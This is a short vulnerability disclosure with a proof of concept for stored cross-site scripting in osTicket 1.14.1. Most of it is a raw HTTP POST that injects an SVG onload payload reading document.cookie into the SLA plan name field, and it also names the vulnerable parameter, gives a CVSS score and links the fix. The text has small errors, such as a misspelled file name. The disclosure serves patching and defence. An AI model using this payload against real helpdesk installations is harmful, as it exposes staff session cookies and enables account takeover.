osTicket 1.14.1 – Persistent Authenticated Cross-Site Scripting
# Title: osTicket 1.14.1 - Persistent Authenticated Cross-Site Scripting # Author: Mehmet Kelepce / Gais Cyber Security # Date : 2020-03-24 # Source Link: https://github.com/osticket/osticket/commit/fc4c8608fa122f38673b9dddcb8fef4a15a9c884 # Vendor: http://osticket.com # Remotely Exploitable: Yes # Dynamic Coding Language: PHP # CVSSv3 Base Score: 7.4 (AV:N, AC:L, PR:L, UI:N, S:C, C:L, I:L, A:L) ## this vulnerability was found by examining the source code. PoC : Ticket SLA Plan Name - HTTP POST REQUEST ########################################################## POST /upload/scp/slas.php?id=1 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/upload/scp/slas.php?id=1 Content-Type: application/x-www-form-urlencoded Content-Length: 196 Connection: close Cookie: cookie=3333; OSTSESSID=684d6hn7dfk869kupbhc9hq2qv Upgrade-Insecure-Requests: 1 submit=Save+Changes&__CSRFToken__=6174a3343a6277b2e5faae240188d54624a756d7&do=update&a=&id=1&name=%3Csvg+onload%3Dconfirm%28document.cookie%29%3B%3E&isactive=1&grace_period=48&schedule_id=0¬es= Vulnerable parameter: name Parameter file: /scp/slass.php I used the name of the SLA for any ticket. ## Risk : cookie information of the target user is obtained. |